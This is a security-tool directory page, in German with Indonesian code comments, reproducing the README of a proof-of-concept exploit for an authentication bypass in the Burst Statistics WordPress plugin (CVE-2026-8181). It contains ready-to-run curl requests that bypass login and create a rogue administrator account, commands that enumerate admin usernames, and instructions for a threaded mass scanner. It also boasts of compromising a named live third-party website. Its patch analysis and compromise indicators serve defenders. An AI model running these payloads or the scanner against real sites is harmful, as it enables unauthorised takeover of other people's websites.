Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept | Kitploit
Tools/GitHubGitHub/zycoder0day/cve-2026-8181
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingAuthenticationLearning & Education
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept

Repository anzeigen
57vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-8181 — Umgehung der Authentifizierung von Burst Statistics zur Übernahme des Administratorkontos


📋 Schwachstelleninformationen

ElementDetail
CVE IDCVE-2026-8181
PluginBurst Statistics – Privacy-Friendly WordPress Analytics
Betroffene Versionen3.4.0 – 3.4.1.1
Gepatchte Version3.4.2
CVSS-Score9.8 (Kritisch)
TypCWE-287: Improper Authentication
AngriffsvektorNetzwerk / Remote / Unauthentifiziert
Aktive Installationen~200,000+
EntdeckerPRISM, Wordfence Threat Intelligence
Veröffentlichungsdatum8. Mai 2026

🎯 Zusammenfassung

Eine kritische Authentifizierungsumgehung im WordPress-Plugin Burst Statistics in den Versionen 3.4.0 bis 3.4.1.1 ermöglicht es Angreifern ohne Authentifizierung, vollen Administratorzugriff auf WordPress zu erhalten, indem sie lediglich den Admin-Benutzernamen kennen. Die Folge ist eine vollständige Übernahme des Admin-Kontos, einschließlich der Erstellung neuer Konten, der Änderung von Inhalten und der Installation schädlicher Plugins.


🔬 Technische Analyse

Grundursache

Die Schwachstelle befindet sich in der Methode is_mainwp_authenticated() in der Datei includes/Frontend/class-mainwp-proxy.php:

root@kitploit:~
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

Hauptfehler: wp_authenticate_application_password(null, $username, $password) gibt null zurück (kein WP_Error), wenn Application Passwords nicht verfügbar sind, was auftritt bei:

  • Websites mit HTTP (nicht HTTPS), bei denen wp_is_application_passwords_available() false zurückgibt
  • Websites, bei denen is_ssl() false zurückgibt

Da is_wp_error(null) = false ist, fährt der Code fort zu get_user_by('login', $username), der nur basierend auf dem Benutzernamen authentifiziert, ohne jegliche Passwortvalidierung.

Frühe Ausführung (Early Execution)

Die Methode has_admin_access() wird beim Hook plugins_loaded (Priorität 9) in class-burst.php Zeile 118 aufgerufen:

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Dieser Hook wird VOR der REST-API-Routenverarbeitung ausgeführt, sodass wp_set_current_user() Admin-Rechte für DIE GESAMTE ANFRAGE gewährt – nicht nur für den Burst-Endpunkt.

Angriffsablauf

root@kitploit:~
Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 Proof of Concept

Voraussetzungen

  • Das Ziel läuft über HTTP (nicht HTTPS, oder SSL wird nicht korrekt erkannt)
  • Das Plugin Burst Statistics in Version 3.4.0 – 3.4.1.1 ist installiert und aktiv
  • Der Admin-Benutzername ist bekannt (kann enumeriert werden)

Installation

root@kitploit:~
pip3 install requests

Verwendung — Einzelziel

root@kitploit:~
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Verwendung — Mehrere Ziele (Massenscanner)

root@kitploit:~
python3 poc_CVE-2026-8181.py

Interaktiver Modus:

  1. Eingabedatei mit Zielliste (.txt, eine Domain pro Zeile)
  2. Anzahl der Threads festlegen (Standard: 50)
  3. Anmeldeinformationen für neues Konto festlegen
  4. Scan ausführen

Format targets.txt:

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

Minimaler PoC (curl)

root@kitploit:~
# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Enumeration des Admin-Benutzernamens

root@kitploit:~
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ Validierung der Ergebnisse

Die Tests wurden auf WordPress 6.9 mit Burst Statistics 3.4.1.1 (localhost) durchgeführt:

Validierung eines Live-Ziels

ZielErgebnis
ausdermitte-binz.deERFOLGREICH PWNED — Burst 3.4.1.1, Bypass über binzwpadmin, Konto xenon1337 erstellt (ID:30)

🔧 Analyse des Patches (v3.4.2)

Der Fix in Version 3.4.2 behebt mehrere Probleme:

  1. Korrekte Rückgabetypprüfung:
root@kitploit:~
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Cek WP_User, bukan !WP_Error
    return false;
}
  1. Erzwingen der Verfügbarkeit von Application Passwords:
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. CSRF-Nonce-Anforderung für cookie-authentifizierte Anfragen
  2. Nonce-Replay-Schutz mit Single-Use-Erzwingung über add_option()
  3. Entferntes Legacy-Signaturformat, das den Benutzernamen nicht bindet

🛡️ Gegenmaßnahmen

Sofortmaßnahmen

  1. Update von Burst Statistics auf Version 3.4.2 oder neuer
  2. Benutzerkonten auditieren – nach unbekannten Administrator-Konten suchen
  3. Alle Application Passwords widerrufen (wp_application_passwords Benutzer-Meta)
  4. Admin-E-Mail und andere Einstellungen von WordPress überprüfen
  5. Unbekannte Plugins/Themes prüfen

Erkennung von Kompromittierungsindikatoren

  • Suchen Sie in Access-Logs nach Anfragen mit Header X-BURSTMAINWP: 1 von externen IPs
  • Überwachen Sie die Tabelle wp_users auf neue Administrator-Konten
  • Prüfen Sie wp_options auf Transienten burst_mainwp_app_token_*
  • Überprüfen Sie Application Passwords in Benutzerprofilen

📁 Verfügbare Dateien

DateiBeschreibung
exploit_CVE-2026-8181.pyPoC-Exploit für Einzelziel
poc_CVE-2026-8181.pyMassenscanner für mehrere Ziele mit Threading
README.mdDiese Dokumentation

⚠️ Haftungsausschluss

Dieses Tool und diese Dokumentation sind nur für legitime Sicherheitstests mit ausdrücklicher Erlaubnis bestimmt. Die nicht autorisierte Nutzung gegen Systeme, die nicht Ihr Eigentum sind, oder ohne schriftliche Genehmigung ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.


📚 Referenzen

  • Wordfence Advisory
  • Anfälliger Quellcode
  • WordPress-Plugin-Repository
  • WP-Safety-Analyse

Tool herunterladen
TestErgebnisNachweis
Zugriff auf /wp/v2/users/me ohne AuthentifizierungFEHLGESCHLAGENrest_not_logged_in
Zugriff mit Bypass-HeadernERFOLGREICHAdmin-Profil + E-Mail + Rollen
Neues Administrator-Konto erstellenERFOLGREICHUser ID 2, role: administrator
WordPress-Einstellungen lesenERFOLGREICHSite title, admin email, URL
Application Password erhaltenERFOLGREICHBase64 token admin:password
Liste installierter PluginsERFOLGREICHVollständige Liste mit Versionen